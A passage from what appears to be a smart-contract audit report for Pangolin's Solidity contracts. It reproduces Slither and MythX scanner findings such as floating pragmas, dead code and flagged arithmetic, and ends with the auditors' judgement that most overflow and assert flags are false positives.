  - 0.8.0 (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#3)
  - 0.8.0 (node_modules/@openzeppelin/contracts/utils/Address.sol#3)
  - 0.8.0 (node_modules/@openzeppelin/contracts/utils/Context.sol#3)
  - 0.8.0 (contracts/TreasuryVesterProxy.sol#1)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#different-pragmas-directives-are-used
INFO:Detectors:
Address.functionCall(address,bytes)(node_modules/@openzeppelin/contracts/utils/Address.sol#79-81) is never used and should be removed
Address.functionCallWithValue(address,bytes,uint256)(node_modules/@openzeppelin/contracts/utils/Address.sol#108-114) is never used and should be removed
Address.functionDelegateCall(address,bytes)(node_modules/@openzeppelin/contracts/utils/Address.sol#169-170) is never used and should be removed
Address.functionDelegateCall(address,bytes,string)(node_modules/@openzeppelin/contracts/utils/Address.sol#178-187) is never used and should be removed
Address.functionStaticCall(address,bytes)(node_modules/@openzeppelin/contracts/utils/Address.sol#111-113) is never used and should be removed
Address.functionStaticCall(address,bytes,string)(node_modules/@openzeppelin/contracts/utils/Address.sol#113-150) is never used and should be removed
Address.sendValue(address,uint256)(node_modules/@openzeppelin/contracts/utils/Address.sol#84-85) is never used and should be removed
Context._msgData()(node_modules/@openzeppelin/contracts/utils/Context.sol#20-22) is never used and should be removed
SafeERC20.safeApprove(ERC20,address,uint256)(node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#44-57) is never used and should be removed
SafeERC20.safeDecreaseAllowance(ERC20,address,uint256)(node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#66-79) is never used and should be removed
SafeERC20.safeIncreaseAllowance(ERC20,address,uint256)(node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#80-93) is never used and should be removed
SafeERC20.safeTransferFrom(ERC20,address,address,uint256)(node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#21-35) is never used and should be removed
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#dead-code
INFO:Detectors:
Pragma version 0.8.0 (node_modules/@openzeppelin/contracts/access/Ownable.sol#3) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
Pragma version 0.8.0 (node_modules/@openzeppelin/contracts/security/ReentrancyGuard.sol#3) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
Pragma version 0.8.0 (node_modules/@openzeppelin/contracts/token/ERC20/ERC20.sol#3) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
Pragma version 0.8.0 (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#3) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
Pragma version 0.8.0 (node_modules/@openzeppelin/contracts/utils/Address.sol#3) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
Pragma version 0.8.0 (node_modules/@openzeppelin/contracts/utils/Context.sol#3) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
Pragma version 0.8.0 (contracts/TreasuryVesterProxy.sol#1) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6
solidity 0.8.0 is not recommended for deployment
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#incorrect-versions-of-solidity
INFO:Detectors:
Low level call in Address.sendValue(address,uint256)(node_modules/@openzeppelin/contracts/utils/Address.sol#84-85):
  - (success) = target.call{value: amount}() (node_modules/@openzeppelin/contracts/utils/Address.sol#85)
Low level call in Address.functionCallWithValue(address,bytes,uint256,string)(node_modules/@openzeppelin/contracts/utils/Address.sol#112-113):
  - (success,returnValue) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#113)
Low level call in Address.functionStaticCall(address,bytes,string)(node_modules/@openzeppelin/contracts/utils/Address.sol#113-150):
  - (success,returnValue) = target.staticCall(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#113)
Low level call in Address.functionDelegateCall(address,bytes,string)(node_modules/@openzeppelin/contracts/utils/Address.sol#178-187):
  - (success,returnValue) = target.delegateCall(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#187)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#low-level-calls
INFO:Detectors:
renounceOwnership() should be declared external:
  - renounceOwnership() (node_modules/@openzeppelin/contracts/access/Ownable.sol#51-55)
transferOwnership(address) should be declared external:
  - transferOwnership(address) (node_modules/@openzeppelin/contracts/access/Ownable.sol#61-64)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#public-function-that-could-be-declared-external

```

## 5.2 AUTOMATED SECURITY SCAN

### Description:

Halborn used automated security scanners to assist with detection of well-known security issues, and to identify low-hanging fruits on the targets for this engagement. Among the tools used was MythX, a security analysis service for Ethereum smart contracts. MythX performed a scan on all the contracts and sent the compiled results to the analyzers to locate any vulnerabilities.

### MythX results:

#### Airdrop.sol

Report for contracts/Airdrop.sol  
<https://dashboard.mythx.io/#/console/analyses/2c86db13-d097-488d-a8a7-d4aa22c53c62>

Line	SWC Title	Severity	Short Description
2	(SWC-103) FloatingPragma	Low	A floating pragma is set.

#### CommunityTreasury.sol

Report for contracts/CommunityTreasury.sol  
<https://dashboard.mythx.io/#/console/analyses/74f9ebdf-ee34-4da3-b3cb-83d2fc60f0d8>

Line	SWC Title	Severity	Short Description
1	(SWC-103) FloatingPragma	Low	A floating pragma is set.

#### GovernorAlpha.sol

Report for contracts/GovernorAlpha.sol  
<https://dashboard.mythx.io/#/console/analyses/7b5e62c5-d635-4c24-a9f3-4a9d8c3527ab>

Line	SWC Title	Severity	Short Description
1	(SWC-103) FloatingPragma	Low	A floating pragma is set.
140	(SWC-120) Weak Sources of Randomness from Chain Attributes	Low	Potential use of "block.number" as source of randomness.
211	(SWC-120) Weak Sources of Randomness from Chain Attributes	Low	Potential use of "block.number" as source of randomness.
269	(SWC-120) Weak Sources of Randomness from Chain Attributes	Low	Potential use of "block.number" as source of randomness.
270	(SWC-120) Weak Sources of Randomness from Chain Attributes	Low	Potential use of "block.number" as source of randomness.



## LiquidityPoolManager.sol

Report for contracts/LiquidityPoolManager.sol  
<https://dashboard.mythx.io/#/console/analyses/a69f072a-3ac9-4036-9343-04321d5da839>

Line	SWC Title	Severity	Short Description
1	(SWC-103) Floating Pragma	Low	A floating pragma is set.
42	(SWC-110) Assert Violation	Unknown	Public state variable with array type causing reachable exception by default.
257	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+" discovered
259	(SWC-110) Assert Violation	Unknown	Out of bounds array access
266	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+" discovered
268	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+" discovered
268	(SWC-110) Assert Violation	Unknown	Out of bounds array access
275	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+" discovered
276	(SWC-110) Assert Violation	Unknown	Out of bounds array access
277	(SWC-110) Assert Violation	Unknown	Out of bounds array access
278	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+" discovered
292	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+" discovered
296	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "-" discovered
298	(SWC-110) Assert Violation	Unknown	Out of bounds array access
322	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "-" discovered
325	(SWC-110) Assert Violation	Unknown	Out of bounds array access
327	(SWC-110) Assert Violation	Unknown	Out of bounds array access

## LiquidityPoolManagerV2.sol

Report for contracts/LiquidityPoolManagerV2.sol  
<https://dashboard.mythx.io/#/console/analyses/573961bd-81b4-4856-b5f6-9509f1a0a408>

Line	SWC Title	Severity	Short Description
1	(SWC-103) Floating Pragma	Low	A floating pragma is set.
50	(SWC-110) Assert Violation	Unknown	Public state variable with array type causing reachable exception by default.
317	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+" discovered
321	(SWC-110) Assert Violation	Unknown	Out of bounds array access
328	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+" discovered
332	(SWC-110) Assert Violation	Unknown	Out of bounds array access
332	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+" discovered
343	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+" discovered
344	(SWC-110) Assert Violation	Unknown	Out of bounds array access
345	(SWC-110) Assert Violation	Unknown	Out of bounds array access
351	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+" discovered
352	(SWC-110) Assert Violation	Unknown	Out of bounds array access
352	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+" discovered
353	(SWC-110) Assert Violation	Unknown	Out of bounds array access
353	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+" discovered
360	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+" discovered
361	(SWC-110) Assert Violation	Unknown	Out of bounds array access
362	(SWC-110) Assert Violation	Unknown	Out of bounds array access
378	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+" discovered
382	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "-" discovered
384	(SWC-110) Assert Violation	Unknown	Out of bounds array access
408	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "-" discovered
411	(SWC-110) Assert Violation	Unknown	Out of bounds array access
413	(SWC-110) Assert Violation	Unknown	Out of bounds array access

## MiniChefV2.sol

Report for contracts/MiniChefV2.sol  
<https://dashboard.mythx.io/#/console/analyses/40dfc104-caf2-4434-a40b-6342bee453f9>

Line	SWC Title	Severity	Short Description
53	(SWC-110) Assert Violation	Unknown	Public state variable with array type causing reachable exception by default.
55	(SWC-110) Assert Violation	Unknown	Public state variable with array type causing reachable exception by default.
57	(SWC-110) Assert Violation	Unknown	Public state variable with array type causing reachable exception by default.
75	(SWC-108) State Variable Default Visibility	Low	State variable visibility is not set.
126	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+" discovered
127	(SWC-110) Assert Violation	Unknown	Out of bounds array access
169	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+" discovered
170	(SWC-110) Assert Violation	Unknown	Out of bounds array access
180	(SWC-110) Assert Violation	Unknown	Out of bounds array access
181	(SWC-110) Assert Violation	Unknown	Out of bounds array access
182	(SWC-110) Assert Violation	Unknown	Out of bounds array access
183	(SWC-110) Assert Violation	Unknown	Out of bounds array access
206	(SWC-110) Assert Violation	Unknown	Out of bounds array access
211	(SWC-110) Assert Violation	Unknown	Out of bounds array access
220	(SWC-110) Assert Violation	Unknown	Out of bounds array access
223	(SWC-110) Assert Violation	Unknown	Out of bounds array access
228	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "/" discovered
229	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "/" discovered
231	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "/" discovered
238	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+" discovered
239	(SWC-110) Assert Violation	Unknown	Out of bounds array access
246	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+" discovered
255	(SWC-110) Assert Violation	Unknown	Out of bounds array access
257	(SWC-110) Assert Violation	Unknown	Out of bounds array access
262	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "/" discovered
263	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "/" discovered
266	(SWC-110) Assert Violation	Unknown	Out of bounds array access
281	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "/" discovered
284	(SWC-110) Assert Violation	Unknown	Out of bounds array access
289	(SWC-110) Assert Violation	Unknown	Out of bounds array access
303	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "/" discovered
307	(SWC-110) Assert Violation	Unknown	Out of bounds array access
312	(SWC-110) Assert Violation	Unknown	Out of bounds array access
323	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "/" discovered
334	(SWC-110) Assert Violation	Unknown	Out of bounds array access
349	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "/" discovered
353	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "/" discovered
359	(SWC-110) Assert Violation	Unknown	Out of bounds array access
364	(SWC-110) Assert Violation	Unknown	Out of bounds array access
380	(SWC-110) Assert Violation	Unknown	Out of bounds array access
415	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "/" discovered
420	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "/" discovered
442	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "/" discovered
454	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "/" discovered

## PNG.sol

Report for PNG.sol  
<https://dashboard.mythx.io/#/console/analyses/eb913747-4f63-4b91-9130-fdae023e213a>

Line	SWC Title	Severity	Short Description
1	(SWC-103) Floating Pragma	Low	A floating pragma is set.
226	(SWC-120) Weak Sources of Randomness from Chain Attributes	Low	Potential use of "block.number" as source of randomness.
299	(SWC-120) Weak Sources of Randomness from Chain Attributes	Low	Potential use of "block.number" as source of randomness.

## PangolinVoteCalculator.sol

Report for contracts/PangolinVoteCalculator.sol  
<https://dashboard.mythx.io/#/console/analyses/4cf0e454-eca3-491f-a169-456db4563621>

Line	SWC Title	Severity	Short Description
30	(SWC-108) State Variable Default Visibility	Low	State variable visibility is not set.
31	(SWC-108) State Variable Default Visibility	Low	State variable visibility is not set.

## RewarderComplex.sol

Report for contracts/RewarderComplex.sol  
<https://dashboard.mythx.io/#/console/analyses/E7040449-d8b4-43ea-9a45-644380a3801f>

Line	SWC Title	Severity	Short Description
49	(SWC-108) State Variable Default Visibility	Low	State variable visibility is not set.
112	(SWC-120) Weak Sources of Randomness from Chain Attributes	Low	Potential use of "block.number" as source of randomness.
142	(SWC-120) Weak Sources of Randomness from Chain Attributes	Low	Potential use of "block.number" as source of randomness.
143	(SWC-120) Weak Sources of Randomness from Chain Attributes	Low	Potential use of "block.number" as source of randomness.
165	(SWC-120) Weak Sources of Randomness from Chain Attributes	Low	Potential use of "block.number" as source of randomness.
169	(SWC-120) Weak Sources of Randomness from Chain Attributes	Low	Potential use of "block.number" as source of randomness.
173	(SWC-120) Weak Sources of Randomness from Chain Attributes	Low	Potential use of "block.number" as source of randomness.

## RewarderSimple.sol

Empty output. No issues found by MythX.

## StakingRewards.sol

Report for contracts/StakingRewards.sol  
<https://dashboard.mythx.io/#/console/analyses/a0b94985-102d-413b-998f-312fd452764f>

Line	SWC Title	Severity	Short Description
1	(SWC-103) Floating Pragma	Low	A floating pragma is set.
13	(SWC-123) Requirement Violation	Low	Requirement violation.

## Timelock.sol

Report for Timelock.sol  
<https://dashboard.mythx.io/#/console/analyses/dble93a3-8434-4b0d-8da5-4d1957ecb639>

Line	SWC Title	Severity	Short Description
1	(SWC-103) Floating Pragma	Low	A floating pragma is set.

## TreasuryVester.sol

Report for contracts/TreasuryVester.sol  
<https://dashboard.mythx.io/#/console/analyses/4cea996d-e894-480a-b404-ac88d5alda5f>

Line	SWC Title	Severity	Short Description
1	(SWC-103) Floating Pragma	Low	A floating pragma is set.

## TreasuryVesterProxy.sol

Report for contracts/TreasuryVesterProxy.sol  
<https://dashboard.mychk.io/#/console/analyses/aab26a3e-4c16-4539-9e93-f6a238de9df5>

Line	SWC Title	Severity	Short Description
22	(SWC-108) State Variable Default Visibility	Low	State variable visibility is not set.
23	(SWC-108) State Variable Default Visibility	Low	State variable visibility is not set.
24	(SWC-108) State Variable Default Visibility	Low	State variable visibility is not set.
25	(SWC-108) State Variable Default Visibility	Low	State variable visibility is not set.
31	(SWC-108) State Variable Default Visibility	Low	State variable visibility is not set.
32	(SWC-108) State Variable Default Visibility	Low	State variable visibility is not set.
33	(SWC-108) State Variable Default Visibility	Low	State variable visibility is not set.
35	(SWC-108) State Variable Default Visibility	Low	State variable visibility is not set.
36	(SWC-108) State Variable Default Visibility	Low	State variable visibility is not set.
38	(SWC-108) State Variable Default Visibility	Low	State variable visibility is not set.
57	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "-" discovered
60	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "-" discovered
60	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+" discovered
70	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "%" discovered
71	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+=" discovered
75	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "%" discovered
76	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+=" discovered
79	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "-" discovered
82	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+" discovered
83	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "-" discovered
86	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+=" discovered
87	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "-" discovered
92	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+=" discovered
93	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "-" discovered
96	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+=" discovered
97	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "-" discovered
105	(SWC-101) Integer Overflow and Underflow	Unknown	Arithmetic operation "+=" discovered

- MythX correctly detected overflows/underflows in the contracts `LiquidityPoolManager.sol`, `LiquidityPoolManagerV2.sol` and `MiniChefV2.sol`. Although, most of the Integer Overflows and Underflows flagged by MythX are false positives as those contracts are using Solidity  $\hat{0}$ .8.0 version. After the Solidity version 0.8.0 Arithmetic operations revert on underflow and overflow by default.
- `block.number` is used but not as a source of randomness.
- The assert violations are false positives.



THANK YOU FOR CHOOSING

// HALBORN

